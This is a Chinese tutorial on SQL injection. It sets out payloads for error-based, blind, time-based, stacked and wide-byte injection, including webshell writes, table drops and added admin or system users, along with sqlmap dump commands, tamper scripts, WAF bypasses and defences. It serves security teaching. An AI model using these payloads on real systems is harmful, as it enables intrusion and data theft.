关于 Web 漏洞原理与利用:1. SQL 注入(SQLi)
一、原理:
拼接 SQL 语句导致注入
SQL 注入的根本原因是:开发者将用户的输入和 SQL 语句直接拼接在一起,没有任何过滤或校验,最终被数据库“当作语句”执行了。
这就像是我们给数据库写了一封信,结果攻击者在我们的信里偷偷夹带了一份自己的“指令”,数据库不加分辨就执行了两份内容。
1. 举例说明
假设有一个登录功能,代码如下:
$username = $_POST['username'];
$password = $_POST['password'];$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
这就是典型的“拼接语句”,用的是 "
字符 + 变量直接拼接,最后形成了一个完整 SQL:
正常输入:
username=admin
password=admin123
生成 SQL:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin123';
这没问题,会去数据库里查找 admin 用户。
注入输入:
攻击者输入:
username=admin' --
password=随便写
拼接结果变成了:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '随便写';
这里的 --
是 SQL 注释,后面所有内容都被注释掉了。
于是变成:
SELECT * FROM users WHERE username = 'admin'
不再验证密码,直接登录成功。
2. 本质分析
数据库 根本不知道哪里是“用户输入”,哪里是“业务逻辑”。
数据库看到的是一整条 SQL,它不会去猜哪些字符是用户填的。所以,只要语法合法,它就执行。
$sql = "SELECT * FROM users WHERE username = '$username'";
最终数据库执行的是下面这段字符串(假设 $username = "a' OR 1=1 -- "
):
SELECT * FROM users WHERE username = 'a' OR 1=1 -- ';
数据库看到:
-
username = 'a'
:字段等于 a -
OR 1=1
:无条件成立 -
--
注释掉后面内容
于是整个语句变成了:返回所有用户,或者返回满足条件的任意记录。
为何“拼接”是核心问题?
拼接意味着把变量(不可信输入)和 SQL 语言结构混在一起。
这就等于让攻击者能“插入代码”,让程序逻辑转向他希望的地方 —— 类似 XSS、命令注入等漏洞的本质也都是“代码拼接”。
3. 安全的做法(对比说明)
错误做法(易注入):
$sql = "SELECT * FROM users WHERE username = '$username'";
正确做法(防注入):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
这叫参数化查询(Prepared Statements):
-
数据库会先编译语句
-
再把用户输入当作“数据值”处理,而不是“语句片段”
-
无论用户输入什么,都会自动转义或隔离
二、分类:
报错注入
报错注入(Error-based SQL Injection)就是:通过构造恶意 SQL 语句,使得数据库在处理时主动抛出错误信息,而这些报错中泄露了敏感信息(如数据库名、表名、字段、数据),从而实现信息泄露甚至数据获取。
为什么可以报错?因为某些数据库(如 MySQL、MSSQL、Oracle)在执行一些非法语法时,会直接将错误信息返回到页面。如果网站没有屏蔽这些报错信息,攻击者就可以看到这些错误内容。
适用条件:
-
后端错误信息未屏蔽,直接返回给前端;
-
数据库支持带错误回显的函数;
-
数据库为 MySQL/MariaDB(>=5.0)、MSSQL、Oracle 中的某些版本。
1. 经典示例
假设我们访问的地址是:
http://example.com/product.php?id=1
SQL 语句为:
SELECT * FROM products WHERE id = $id;
攻击者尝试构造注入:
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) y) -- -
这个语句干了什么?
-
CONCAT((SELECT database()), FLOOR(RAND()*2))
:尝试打印当前数据库名; -
GROUP BY x
:制造重复值,强制数据库报错; - MySQL 会抛出如下错误:
Duplicate entry '数据库名1' for key 'group_key'
于是攻击者看到数据库名了!
2. 常见可用函数(MySQL)
函数名 | 用途 |
---|---|
updatexml() | XML 更新,但参数非法就报错(输出我们控制的内容) |
extractvalue() | 解析 XML,同样可以报错输出 |
floor(rand(0)*2) | 配合 group by 报错泄露 |
exp(~(select...)) | 非法数学运算触发报错 |
benchmark() | 配合延时注入,虽然不报错,但能看时间 |
示例:updatexml()
方式
构造请求:
?id=1' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --+
页面返回:
XPATH syntax error: '~security_db~'
就拿到了当前数据库名。
3. 优缺点
优点:
-
不需要盲注、时间注复杂操作;
-
只要一次就能直接爆出信息;
-
对初学者来说非常直观。
缺点:
-
很依赖错误信息能返回到前端;
-
很多网站上线后已经关闭报错提示;
-
某些云 WAF、框架会自动拦截异常字符或函数。
4. 防御方法
-
上线环境关闭报错提示(
display_errors = off
) -
使用参数化查询(PreparedStatement)
-
Web 应用防火墙(WAF)拦截常见注入 Payload
-
异常记录日志而不是直接返回用户
5. 配合 BurpSuite
-
找到可注入参数;
-
手动插入
'
,看是否有错误提示; -
替换为报错函数,例如:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
- 分析返回结果,提取数据。
6. 配合 sqlmap 使用
sqlmap 支持报错注入识别:
sqlmap -u "http://example.com/product.php?id=1" --technique=E --dbs
参数说明:
-
--technique=E
:只使用报错注入(E = Error-based) -
--dbs
:列出数据库名
小结
报错注入就是“故意让数据库出错,把我们要的数据藏进报错信息里”,然后网站傻傻地原样返回给我们。
=======================================
布尔盲注
“布尔盲注”(Boolean-based Blind SQL Injection),这是渗透测试和黑盒测试中非常常见的一种注入方式,适用于没有报错信息也没有页面回显的场景。
布尔盲注的核心思想是:通过观察页面返回的“真假结果差异”,一点点“猜测”数据库中的内容。
即使页面没有任何错误信息、也不显示数据,但我们依然能通过页面的响应“是一样的,还是不同的”来判断查询条件的真假,从而逐位爆破出字段、表名、密码等信息。
适用条件
条件 | 是否满足 |
---|---|
页面无报错 | 是 |
页面有明显真假差异(内容、长度、状态码) | 是 |
不支持堆叠注入 | 是 |
无法直接获取数据回显 | 是 |
1. 实际案例
假设 URL:
http://example.com/item.php?id=1
正常情况下返回一个商品信息。
我们猜测有 SQL 语句:
SELECT * FROM items WHERE id = '$id';
构造注入 1:
?id=1' AND 1=1 --+
页面正常返回,说明语法成功,条件成立。
构造注入 2:
?id=1' AND 1=2 --+
页面空白或返回不同内容,说明条件不成立。
说明可以用真假判断!这就是布尔盲注的基础。
现在尝试猜数据库名的首字母:
?id=1' AND SUBSTRING((SELECT database()), 1, 1) = 's' --+
-
如果数据库名第一位是
's'
,页面正常; -
如果不是
's'
,页面异常或为空。
我们可以写脚本或手工构造,逐个字符尝试 a~z、A~Z、0~9,爆破出完整数据库名。
2. 常用函数
函数/语句 | 用途 |
---|---|
SUBSTRING(str, pos, len) | 截取字符串 |
ASCII(char) | 获取字符的 ASCII 值 |
ORD(char) | 类似 ASCII |
LENGTH() | 获取字符串长度 |
LEFT()/RIGHT() | 截取开头/结尾字符 |
MID(str, start, len) | 同 substring |
IF(condition, true, false) | 控制真假逻辑 |
=, >, <, like | 用于判断猜测是否正确 |
3. 爆破流程
以猜当前数据库名为例
第一步:猜长度
?id=1' AND LENGTH(database()) = 6 --+
尝试 1~20,直到页面返回正常,说明长度是 6。
第二步:逐位猜字符
?id=1' AND ASCII(SUBSTRING(database(),1,1)) = 115 --+
尝试 97~122(a-z) 或 48~57(0-9),直到匹配。
例如:
SELECT ASCII('s') => 115
说明第一位是 's'
。
用 Python 脚本自动化(伪代码)
for i in range(1, db_name_length+1):for c in range(32, 127):payload = f"' AND ASCII(SUBSTRING(database(),{i},1))={c} --+"res = requests.get(url + payload)if "正常页面内容" in res.text:print(f"第{i}位字符为:{chr(c)}")break
4. 注意事项
-
有些网站防注入,会自动过滤
'
,可以尝试:-
使用双写:
''
-
使用编码绕过:
%27
-
使用注释绕过:
/**/
-
-
页面差异不明显时,考虑用响应长度判断,而不是内容。
-
有 WAF 或 CDN 时,建议用延时盲注(时间注入)替代。
5. 防御方法
方法 | 说明 |
---|---|
参数化查询 | 不拼接 SQL,防止注入 |
ORM 框架 | 自动构造语句 |
限制错误信息 | 不显示后端逻辑细节 |
Web 防火墙 | 检测 payload,拦截异常请求 |
限制访问频率 | 防止暴力猜解 |
小结
布尔盲注是“看结果对不对”来判断数据库内容的一种技巧,虽然不能直接看到数据,但可以用脚本慢慢爆破出来。
=======================================
时间盲注
时间盲注(Time-based Blind SQL Injection)是在 没有回显、没有报错、没有布尔差异 的极端场景下仍能利用的注入方式,非常适合实际黑盒测试中的“黑洞”接口。
时间盲注的本质是:通过判断服务器响应“是否延迟”,来推断某个布尔条件是否为真。
不需要任何页面内容变化,只需要观察响应时间是否变长,比如延迟了 5 秒,就说明猜测对了。
适用场景
特征 | 是否符合 |
---|---|
页面无回显、无报错信息 | 是 |
页面对布尔条件处理一致(返回一样) | 是 |
能插入 SQL 延时函数 | 是 |
例如,页面返回总是一个“success”,但响应时间不同,我们就可以用时间差来注入。
常用的延时函数
数据库类型 | 延时函数 |
---|---|
MySQL | SLEEP(5) |
MSSQL | WAITFOR DELAY '0:0:5' |
PostgreSQL | pg_sleep(5) |
Oracle | dbms_lock.sleep(5) (需权限) |
1. 示例场景
假设 URL:
http://example.com/user.php?id=1
测试注入:
?id=1' AND SLEEP(5) --+
如果页面响应明显变慢(延迟 5 秒以上),说明成功注入了 SQL 并执行了 SLEEP(5)
,说明存在时间盲注。
2. 实际利用流程
目标:猜出数据库名称的第一位字母
爆破条件语句:
?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) --+
如果数据库名第一位的 ASCII 是 115(即 's'
),就延迟 5 秒,否则立即返回。
我们逐位遍历 a-zA-Z0-9
,看哪一位响应慢,判断字符是否匹配。
判断长度:
?id=1' AND IF(LENGTH(database())=6, SLEEP(5), 0) --+
响应变慢 ➜ 说明数据库名长度为 6。
猜字符(自动脚本逻辑):
import requests
import timeurl = "http://example.com/user.php?id=1"for pos in range(1, 10):for c in range(32, 127): # 可打印 ASCIIpayload = f"1' AND IF(ASCII(SUBSTRING(database(),{pos},1))={c}, SLEEP(5), 0) --+"start = time.time()r = requests.get(url, params={"id": payload})end = time.time()if end - start > 4:print(f"第{pos}位是:{chr(c)}")break
3. 注意事项
1)稳定性要求高:
-
网络延迟会影响判断,建议设置明确阈值(如 4s)。
2)容易被防火墙拦截:
-
WAF 可能会拦截
sleep
、delay
等关键词,可通过编码、大小写混写、注释绕过。 -
例如:
/*!50000SLEEP*/(5)
`SLE/**/EP`(5)
3)执行慢:
-
每爆破一个字符都要等几秒,获取字段值耗时长,适合自动化跑脚本,不能手工。
4. 防御建议
方法 | 说明 |
---|---|
预编译语句(PreparedStatement) | 不拼接 SQL,防注入根本方式 |
限制函数使用 | MySQL 配置禁用 sleep() 等危险函数 |
限制访问频率 | 防止脚本暴力猜解,配合验证码或滑块 |
Web 防火墙 | 拦截延时关键词注入特征 |
审计日志分析 | 检查请求延迟或规律请求行为 |
小结
时间盲注是“看响应时间”来判断 SQL 查询结果的一种隐蔽注入方式,适用于无报错、无回显的接口。虽然慢,但稳定性强,是黑盒测试的核心技能之一。
=======================================
堆叠注入
堆叠注入(Stacked Queries Injection)是 SQL 注入攻击中非常强力的一种方式,利用起来能够直接对数据库做破坏、写入 webshell、甚至拿下服务器权限。
堆叠注入(Stacked Queries) 指的是:在一个 SQL 请求中使用分号 ;
分隔多个 SQL 语句,并依次执行。
举例:
?id=1; DROP TABLE users; --
当服务器执行这一整串语句时:
-
id=1
是原来的语句; -
DROP TABLE users
是我们插入的新语句; -
--
注释后续,防止语法报错。
堆叠注入的前提条件
条件 | 说明 |
---|---|
数据库支持多语句执行 | MySQL 默认关闭 multi_statements ,MSSQL 支持 |
后端代码未限制多语句执行 | 比如用了 mysqli_multi_query() |
注入点允许分号 ; 被传入 | WAF、转义机制可能拦截 |
也就是说,堆叠注入并不是每个注入点都能用,但一旦可以用,威力极大!
1. 利用方式示例
示例 1:写入管理员账号
假设有注入点:
http://example.com/login.php?user=admin&pass=123
尝试注入:
user=admin'; INSERT INTO users(username,password,role) VALUES('hack','123456','admin'); --
如果数据库允许执行两个语句,就能偷偷添加一个管理员账号。
示例 2:写入 WebShell(MySQL)
?id=1; SELECT "<?php eval(\$_POST[x]); ?>" INTO OUTFILE '/var/www/html/shell.php'; --
注意:
-
需要
FILE
权限; -
secure_file_priv
必须允许写入; -
目标必须是 Linux 且目录有写权限。
示例 3:Windows 中提权用法(MSSQL)
exec xp_cmdshell 'net user hack 123456 /add';
这个命令可以添加系统用户,如果 SQL Server 是系统权限(NT AUTHORITY\SYSTEM)运行,配合 xp_cmdshell
,可以直接控制系统!
2. 工具利用方式
1)sqlmap 自动识别堆叠注入
sqlmap -u "http://xxx.com/page.php?id=1" --batch --level=5 --risk=3 --dbs
如果注入点支持堆叠注入,sqlmap 会自动尝试。
2)Burp Suite 手工验证
-
在参数中注入分号
;
,如1; SELECT SLEEP(5)
; -
或尝试添加
;DROP TABLE xx;--
看是否触发数据库错误。
3. 安全绕过技巧
绕过点 | 示例 |
---|---|
分号被过滤 | 使用 URL 编码 ; 为 %3B |
用 /**/ 替代空格 | 1;/**/DROP/**/TABLE/**/users-- |
使用 Unicode 编码 | ;%u0064ROP TABLE users; (某些服务端能识别) |
4. 防御方式
方法 | 说明 |
---|---|
使用预编译语句(PreparedStatement) | 根本上杜绝注入 |
禁止使用多语句执行 | 比如禁用 mysqli_multi_query() |
限制数据库权限 | 禁止写文件、禁止执行系统命令等 |
使用 WAF 防护 | 拦截 ; 、DROP 、SELECT ... INTO OUTFILE 等特征语句 |
审计日志及时发现异常 SQL | 尤其是写文件、删库行为 |
小结
堆叠注入是通过分号连接多个 SQL 语句的注入方式,利用成功可以直接添加用户、写入 Webshell、删库、执行命令,是高危中的高危注入。
=======================================
宽字节注入
宽字节注入(Wide Byte Injection)是 SQL 注入中的一种特殊绕过方式,主要用于绕过转义机制(如 addslashes),经常出现在 MySQL + PHP + GBK 编码 的环境中。
宽字节注入 是指:利用 GBK、BIG5 等双字节编码的特性,将 %5C
(反斜杠 \)与某些中文字符组合成一个合法的双字节字符,从而绕过 PHP 的 addslashes() 转义机制,构造出有效的 SQL 注入语句。
适用场景
条件 | 要求 |
---|---|
数据库是 MySQL | |
后端语言是 PHP | |
网站编码为 GBK 或其他双字节编码 | |
后端使用 addslashes() 转义引号 |
如果编码是 UTF-8,就无法利用宽字节注入,因为 UTF-8 的首字节范围不会产生绕过效果。
1. 成因原理
1)正常流程(UTF-8)
用户输入:' OR 1=1 --
PHP 中的 addslashes()
会将 '
转义成 \'
,变成:
SELECT * FROM users WHERE username='\' OR 1=1 --';
攻击失败。
2)宽字节绕过流程(GBK)
输入:%bf' OR 1=1 --
-
%bf
是 非法单字节,但在 GBK 编码下,%bf27
被视为一个合法的双字节字符; -
所以
'
(ASCII 0x27)被拼接到%bf
(0xbf)后,构成一个 合法的双字节字符; -
转义函数
addslashes()
会忽略这一组合,不再添加\
转义; -
最终注入绕过。
关键点
GBK 编码下:
-
%bf27
= 0xbf + 0x27(即'
) -
会被识别为合法 GBK 字符,而不是
'
-
这样就可以绕过
'
的转义,插入真正的单引号或 SQL 指令
2. 实战示例
假设存在如下语句(PHP 后端):
$username = addslashes($_GET['username']);
$sql = "SELECT * FROM users WHERE username = '$username'";
原本输入 ' OR 1=1 --
会被转义成:
SELECT * FROM users WHERE username = '\' OR 1=1 --'
攻击失败。
利用宽字节注入(GBK 编码)
传参如下(URL 编码):
username=%bf%27%20OR%201=1%20--+
对应字符是:
-
%bf%27
→ GBK 中的合法双字节字符,不被转义 -
后面跟上 SQL 注入语句
最终 SQL:
SELECT * FROM users WHERE username = '※ OR 1=1 --'
看似 username 是“※”,但后面的 OR 1=1
实际是有效 SQL。
3. 工具检测与利用
sqlmap 检测宽字节注入:
sqlmap -u "http://target.com/page.php?username=abc" --dbs --tamper=charunicodeescape
或者手动尝试 payload:
username=%bf%27%20OR%201=1%20--+
Burp Suite 手工测试
-
先测试是否是 GBK 编码页面(抓包里 Content-Type 看是否为
charset=gbk
); -
用 Burp 发送
%bf'
、%df'
等宽字节 payload,看是否返回异常响应; -
若成功绕过,说明可以构造宽字节注入链。
4. 防御方法
防御方式 | 说明 |
---|---|
使用 UTF-8 编码 | GBK 和 BIG5 才有宽字节问题,UTF-8 不存在 |
使用 PDO 参数绑定或预编译 | 完全避免 SQL 拼接 |
使用 mysqli_real_escape_string() | 会考虑编码情况,比 addslashes() 安全 |
设置统一字符集 | 确保数据库、PHP、前端全部用 UTF-8 |
拦截高危宽字节 | 如 %bf、%df、%5c(\)结合的组合字符 |
小结
宽字节注入是利用 GBK 编码中“两个字节表示一个字符”的特点,绕过 PHP 的转义机制进行 SQL 注入,适用于 PHP + MySQL + GBK 的老旧系统。
三、工具:
sqlmap
SQLMap 是一个开源的自动化 SQL 注入工具,能自动识别和利用 SQL 注入漏洞,支持多种数据库,几乎是所有 Web 安全工程师与渗透测试者的标配工具。
-
支持数据库:MySQL、Oracle、PostgreSQL、MSSQL、SQLite、Access 等
-
支持注入类型:报错注入、布尔盲注、时间盲注、堆叠注入、宽字节注入等
-
自动识别参数、绕过方式、字符编码,甚至 WAF
1. 基础使用
1)检测注入点
sqlmap -u "http://example.com/page.php?id=1"
参数说明:
-
-u
:目标 URL(必须带参数) -
--batch
:自动执行,不交互 -
--level
:检测级别(1-5,默认1) -
--risk
:风险等级(1-3,默认1) -
--random-agent
:随机使用 User-Agent -
--proxy
:设置代理,如--proxy=http://127.0.0.1:8080
(配合 Burp)
2)获取数据库信息
sqlmap -u "http://example.com/page.php?id=1" --dbs
枚举数据库名
3)获取表名、字段名、数据
# 枚举目标数据库中的表
sqlmap -u "http://example.com/page.php?id=1" -D target_db --tables# 枚举目标表中的字段
sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users --columns# 获取字段数据
sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users -C username,password --dump
4)自动识别注入类型
sqlmap -u "http://example.com/page.php?id=1" --technique=BEUSTQ
参数说明:
技术代码 | 类型 |
---|---|
B | 布尔盲注 |
E | 报错注入 |
U | Union 查询 |
S | 堆叠注入 |
T | 时间盲注 |
Q | 内联查询 |
2. 实战案例
示例 1:检测 POST 请求
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456"
针对 POST 表单数据注入
示例 2:Cookie 注入点
sqlmap -u "http://example.com/profile.php" --cookie "id=1; token=abc123" --dbs
示例 3:指定注入参数(比如只想测试 id)
sqlmap -u "http://example.com/item.php?id=1&category=3" -p id
示例 4:绕过 WAF
sqlmap -u "http://example.com/page.php?id=1" --tamper=charunicodeescape
内置常用绕过脚本(在 tamper 目录下):
-
space2comment.py
:将空格替换为注释 -
charunicodeescape.py
:使用 Unicode 编码绕过 -
equaltolike.py
:替换等号为 LIKE -
unmagicquotes.py
:绕过 addslashes()
可组合使用:
--tamper="space2comment,charunicodeescape"
3. 进阶功能
功能 | 命令 |
---|---|
爆破管理员密码 | --passwords |
查看当前用户权限 | --current-user 、--is-dba |
读取任意文件 | --file-read=/etc/passwd |
写入 Webshell | --os-shell (风险极高) |
自动提权 | --privileges 、--roles |
自定义 User-Agent、Referer | --user-agent 、--referer |
使用代理 | --proxy=http://127.0.0.1:8080 |
4. 实战建议
-
先用 Burp 测试是否存在注入点,再用 sqlmap 进一步爆破
-
不要一上来就 --dump 全部数据,这样很慢也容易被封
-
使用 -v 参数查看详细过程(如
-v 3
) -
配合 --output-dir 保存历史数据
-
可以生成 POC、批量注入脚本
5. 常见错误 & 解决办法
报错信息 | 解决方案 |
---|---|
403 Forbidden | 使用 --random-agent 、加 --proxy 用 Burp 抓包调试 |
无法注入 | 加 --level=5 --risk=3 ,提高测试深度 |
只有一个数据库名 | 很可能是 WAF 限制,尝试 --tamper 脚本 |
响应无变化 | 改为使用 --technique=T 强制时间盲注 |
6. 靶场推荐
靶场 | 说明 |
---|---|
sqli-labs | 最经典 SQL 注入练习平台 |
DVWA | 配置简单,适合入门 |
WebGoat | OWASP 官方教学平台 |
Vulhub | 容器化漏洞环境,可练习各种组合注入 |
小结
SQLMap 是 SQL 注入武器库中的“AK-47”,能从探测、绕过、防御识别、利用、提权、读取文件等全流程自动化执行,熟练掌握它几乎等于掌握了大多数 SQL 注入场景。
=======================================
tamper
tamper
是 SQLMap 的 SQL 注入 payload 变形器。简单来说,就是在注入时自动对 payload 做“变形、编码、绕过”,从而避开 Web 应用的过滤机制、WAF、防火墙等。
当目标存在如下情况时需要 tamper
:
-
输入中不能出现
'
、=
等特殊符号 -
被 WAF 拦截(如:云盾、D盾、宝塔防火墙、WAF、CDN等)
-
关键字被过滤或大小写敏感
-
要绕过特殊构造(例如
%df%5c
宽字节) -
特殊编码要求(如 UTF-8、unicode)
tamper 的工作方式
每个 tamper
文件是一个 Python 脚本,位于:
sqlmap/tamper/
每一个都定义了一个 tamper(payload, **kwargs)
函数,返回“变形后”的注入语句。
使用方式
python3 sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --tamper=space2comment
支持多个 tamper 脚本:
--tamper=space2comment,between,randomcase
1. 常用 tamper 脚本讲解
1)space2comment.py
把空格变成 SQL 注释 /**/
,常用于绕过空格过滤:
原语句:
SELECT * FROM users WHERE id = 1 AND 1=1
变形后:
SELECT/**/ * /**/FROM/**/users/**/WHERE/**/id/**/=/**/1/**/AND/**/1=1
2)between.py
把布尔判断转换为 BETWEEN
表达式,绕过 =
、<
、>
被过滤的情况:
1 AND 1=1 → 1 AND 1 BETWEEN 1 AND 1
3)randomcase.py
随机大小写改变关键字,例如 UNION SELECT
→ uNioN SeLEcT
适用于大小写敏感的过滤器。
4)charencode.py
将字符编码成 CHR()
格式:
'admin' → CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
适用于字符限制严重的注入点。
5)equaltolike.py
将 =
改成 LIKE
:
id=1 → id LIKE 1
6)space2plus.py
将空格变为 +
号:
SELECT * FROM users → SELECT+*+FROM+users
常见于 URL 编码注入点。
7)percentage.py
将注入 payload 的字符转为 %xx
编码(URL 编码)
SELECT → %53%45%4C%45%43%54
2. 选择合适的 tamper
可以根据目标 WAF 报错信息、抓包记录来判断:
情况 | 建议使用 tamper |
---|---|
空格被过滤 | space2comment , space2plus |
大小写敏感 | randomcase |
特殊字符如 ' 、= 被拦截 | between , equaltolike |
GET 请求中乱码 | charencode , percentage |
WAF 自动拦截 payload | 多个 tamper 组合尝试绕过 |
3. 自定义 tamper
在 sqlmap/tamper/
中新建 Python 文件:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs):return payload.replace(" ", "/**/")
然后使用:
--tamper=mytamper.py
4. 技巧
组合绕过
--tamper=space2comment,randomcase,between,charencode
建议一边抓包看响应,一边逐步测试组合绕过。
查看所有 tamper 脚本
ls sqlmap/tamper/
或者:
python3 sqlmap.py --list-tampers
小结
-
注入点位置:GET、POST、Cookie、Header 可能都要测
-
编码机制:是否需要先 URL 编码再注入
-
WAF 特征:是关键字过滤、字符替换,还是响应阻断
-
组合测试:不要迷信单个 tamper,组合是王道
=======================================
BurpSuite
BurpSuite 是由 PortSwigger 开发的一款集成化 Web 安全测试平台。它主要用于:
-
拦截和修改 HTTP/HTTPS 请求
-
检测并利用漏洞(如 SQLi、XSS、CSRF)
-
自动化扫描
-
编写自定义插件和脚本
Burp 是手工测试和自动测试的桥梁,适合安全测试人员、红队、逆向工程者等使用。
版本 | 功能说明 |
---|---|
Community(免费) | 只能手工测试,功能受限 |
Professional(付费) | 全部功能,适合渗透测试 |
Enterprise | 大规模企业扫描使用,不常用 |
1. BurpSuite 模块详解
1)Proxy(代理)
-
核心:拦截浏览器发出的请求,用于测试和修改。
-
功能:
-
拦截请求与响应(Intercept)
-
配置代理规则(Match & Replace)
-
可搭配浏览器插件(如 FoxyProxy)
-
是进行 手工注入、参数篡改、Cookie 注入 的核心入口。
2)Repeater(请求复发器)
-
用途:将请求反复发送、手动修改、观察响应。
-
场景:SQL 注入测试、XSS 反复调试、认证绕过验证。
SQLi 手工注入、时间盲注等常用 Repeater 进行手动调试。
3)Intruder(爆破器)
-
用途:自动化枚举/爆破参数。
-
典型场景:
-
登录爆破(用户名/密码)
-
参数 Fuzz 测试(注入点判断)
-
Token、Session 猜测
-
SQL Boolean 爆破(如:逐位猜字符)
-
4)Scanner(仅 Pro 版)
-
用途:自动扫描目标网站,发现漏洞。
-
能识别常见漏洞如:
-
SQLi
-
XSS
-
CSRF
-
信息泄露等
-
免费版不支持,建议熟练掌握手工测试。
5)Decoder(编码器)
-
用于各种数据的 编码、解码、哈希运算。
-
常见用途:
-
URL 编码 / Base64 解码
-
Hex / Unicode / HTML 实体转换
-
分析 JWT、加密参数
-
6)Comparer(比较器)
-
用于比较两个请求或响应之间的差异。
-
典型用途:
-
登录成功 vs 失败 响应对比
-
SQL 注入中判断响应差异
-
7)Extender(扩展中心)
-
用于安装插件(BApp Store)
-
支持用 Java、Python (Jython)、Ruby 编写插件
-
常用插件:
-
AuthMatrix:权限绕过测试
-
Hackvertor:编码解码处理神器
-
Logger++:高级请求记录器
-
Turbo Intruder:爆破神器
-
8)Logger / HTTP history
-
记录所有请求与响应,便于回溯和分析。
-
可查看 Cookie、Header、参数等所有细节。
2. Burp 使用流程示例
以测试某登录接口是否存在 SQL 注入为例:
-
打开 BurpSuite,设置代理(127.0.0.1:8080)
-
浏览器访问登录页面,输入用户名密码
-
Burp 拦截到请求:
POST /login.php HTTP/1.1
username=admin&password=admin
-
发送到 Repeater 模块,手动测试:
-
尝试
admin'--
-
尝试
' OR 1=1--
-
-
分析返回是否成功,判断是否注入成功
3. 完整手工注入流程
以 GET 为例
1)捕获请求
浏览器访问注入点页面,例如:
http://testphp.vulnweb.com/listproducts.php?cat=1
Burp Proxy 模块拦截:
GET /listproducts.php?cat=1 HTTP/1.1
Host: testphp.vulnweb.com
...
2)发送请求到 Repeater 测试
在 Burp 中右键 → Send to Repeater
进入 Repeater
模块进行测试。
3)经典注入测试语句
闭合测试:
cat=1'
→ 看是否报错或页面变形。
真假条件测试:
cat=1 AND 1=1
cat=1 AND 1=2
→ 如果返回页面不同,说明可能存在 SQL 注入(布尔盲注)。
注释符尝试:
cat=1'--+
cat=1'#
cat=1'/*
判断数据库版本(报错注入)
cat=1 AND updatexml(1,concat(0x7e,(SELECT version())),1)
盲注测试(时间延迟)
cat=1 AND IF(1=1, SLEEP(5), 0)
→ 页面延迟响应,说明支持时间盲注。
4. POST 注入示例(登录框)
请求包:
POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedusername=admin&password=admin
发送到 Repeater,修改为:
username=admin'--+&password=123
→ 成功登录则为注入点。
或者:
username=admin' AND 1=1--+&password=123
username=admin' AND 1=2--+&password=123
→ 比较响应页面差异。
5. 手工注入常用技巧
技巧 | 示例 |
---|---|
URL 编码 | ' → %27 |
注释绕过 | ' OR 1=1 -- 、/*注释*/ |
大小写绕过 | UnIoN SeLeCt |
双写绕过 | '' OR 1=1-- |
延时盲注 | IF(ascii(substr(user(),1,1))=114,SLEEP(3),0) |
宽字节绕过 | %df' 与 GBK 编码环境配合使用 |
四、绕过技巧:
编码绕过
原理: 利用 URL 编码、Unicode 编码、Hex 编码等方式,将恶意字符转换为编码形式绕过检测。
-
例子:
-
直接注入:
' OR '1'='1
-
编码注入:
%27%20OR%20%271%27%3D%271
-
服务器收到后会解码成原始字符,但有些 WAF 检测时只检测明文,绕过了规则。
-
-
应用:
-
URL 编码
%27
替代'
-
Unicode 编码
\u0027
替代'
-
Hex 编码
0x27
替代'
-
注释绕过
原理: 利用 SQL 注释符号来截断原始语句后续代码或隐藏注入代码。
-
常用注释符:
-
--
(双减号,注意后面必须有空格或换行) -
#
-
/* ... */
(块注释)
-
-
例子:
' OR 1=1 -- ' OR 1=1 # ' OR 1=1 /*
-
作用:
-
用注释截断后面多余语句,避免语法错误
-
隐藏注入payload,防止被简单过滤检测
-
-
变体:
-
在注释中插入空格、换行、tab,增加混淆,如
--\n
,#\t
-
嵌套注释或组合注释,如:
/*comment*/
-
大小写绕过
原理: SQL 关键字不区分大小写,利用大小写混合改变检测规则,避开大小写敏感的简单过滤。
-
例子:
UNION SELECT uNiOn sEleCt UnIoN SeLeCt
-
作用:
-
有些过滤器只匹配大写或小写关键字,混合大小写能绕过
-
双写绕过(字符重复)
原理: 通过重复注入字符或关键字,利用后台数据库或解析器的特殊行为绕过检测。
-
例子:
-
双写单引号:
'' OR 1=1--
-
重复关键字:
UNION UNION SELECT
-
-
解释:
-
SQL 中
''
是转义单引号,变相实现注入 -
一些 WAF无法识别连续字符,误判
-
宽字节绕过
原理: 利用多字节编码(如 GBK、BIG5)中半角符号与汉字编码重叠特性,混淆注入字符,绕过过滤器。
-
说明:
-
中文编码环境下,某些字节组合被解析成合法字符,但过滤器误识为单字节字符
-
服务器解码时会还原成原始 SQL 注入字符
-
-
例子:
在 GBK 编码中,
%df%27
被解析成一个合法的宽字节字符,但 WAF 识别为%27
(单引号)从而绕过。 -
应用:
-
发送
%df%27 OR '1'='1
绕过过滤 -
这种绕过对中文环境尤为有效,尤其旧版本数据库
-
延时注入绕过
原理: 利用 SQL 中的延时函数(如 SLEEP()
)实现盲注,绕过无错误提示且返回信息一致的检测。
-
常用函数:
-
MySQL:
SLEEP(seconds)
-
SQL Server:
WAITFOR DELAY '0:0:5'
-
Oracle:
DBMS_LOCK.SLEEP(seconds)
-
-
例子:
1' AND IF(SUBSTR(USER(),1,1)='r', SLEEP(5), 0) --
-
作用:
-
无需页面报错,只根据响应时间长短判断注入条件是否成立
-
绕过简单的错误报错过滤和页面内容检测
-
-
延时注入搭配其他绕过手法如编码、注释使用效果更佳。
总结
绕过技巧 | 作用原理 | 典型例子 | 备注 |
---|---|---|---|
编码绕过 | URL/Unicode/Hex编码 | %27 OR 1=1 | 绕过简单字符串检测 |
注释绕过 | 利用 SQL 注释符截断后续语句 | ' OR 1=1 -- | 截断后续合法语句 |
大小写绕过 | 混合大小写关键字 | UnIoN SeLeCt | 绕过大小写敏感规则 |
双写绕过 | 重复字符、转义 | '' OR 1=1-- | 利用转义规则混淆检测 |
